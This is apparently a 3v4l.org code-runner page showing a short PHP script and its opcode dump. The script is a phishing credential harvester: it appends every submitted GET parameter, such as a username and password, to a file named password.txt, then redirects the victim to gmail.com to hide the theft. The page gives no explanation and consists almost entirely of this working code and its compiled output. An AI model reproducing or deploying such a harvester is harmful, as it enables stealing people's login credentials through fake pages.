3v4l.org

run code in 300+ PHP versions simultaneously
<?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit;?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 10, Position 2 = 29
Branch analysis from position: 10
2 jumps found. (Code = 78) Position 1 = 11, Position 2 = 29
Branch analysis from position: 11
1 jumps found. (Code = 42) Position 1 = 10
Branch analysis from position: 10
Branch analysis from position: 29
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 29
filename:       /in/hPaNQ
function name:  (null)
number of ops:  39
compiled vars:  !0 = $handle, !1 = $value, !2 = $variable
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'header'
          1        SEND_VAL                                                 'Location%3A+http%3A%2F%2Fwww.gmail.com'
          2        DO_ICALL                                                 
    2     3        INIT_FCALL                                               'fopen'
          4        SEND_VAL                                                 'password.txt'
          5        SEND_VAL                                                 'a'
          6        DO_ICALL                                         $4      
          7        ASSIGN                                                   !0, $4
    3     8        FETCH_R                      global              ~6      '_GET'
          9      > FE_RESET_R                                       $7      ~6, ->29
         10    > > FE_FETCH_R                                       ~8      $7, !1, ->29
         11    >   ASSIGN                                                   !2, ~8
    4    12        INIT_FCALL                                               'fwrite'
         13        SEND_VAR                                                 !0
         14        SEND_VAR                                                 !2
         15        DO_ICALL                                                 
    5    16        INIT_FCALL                                               'fwrite'
         17        SEND_VAR                                                 !0
         18        SEND_VAL                                                 '%3D'
         19        DO_ICALL                                                 
    6    20        INIT_FCALL                                               'fwrite'
         21        SEND_VAR                                                 !0
         22        SEND_VAR                                                 !1
         23        DO_ICALL                                                 
    7    24        INIT_FCALL                                               'fwrite'
         25        SEND_VAR                                                 !0
         26        SEND_VAL                                                 '%0D%0A'
         27        DO_ICALL                                                 
    3    28      > JMP                                                      ->10
         29    >   FE_FREE                                                  $7
    9    30        INIT_FCALL                                               'fwrite'
         31        SEND_VAR                                                 !0
         32        SEND_VAL                                                 '%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%0D%0A'
         33        DO_ICALL                                                 
   10    34        INIT_FCALL                                               'fclose'
         35        SEND_VAR                                                 !0
         36        DO_ICALL                                                 
   11    37      > EXIT                                                     
         38*     > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
158.97 ms | 1396 KiB | 21 Q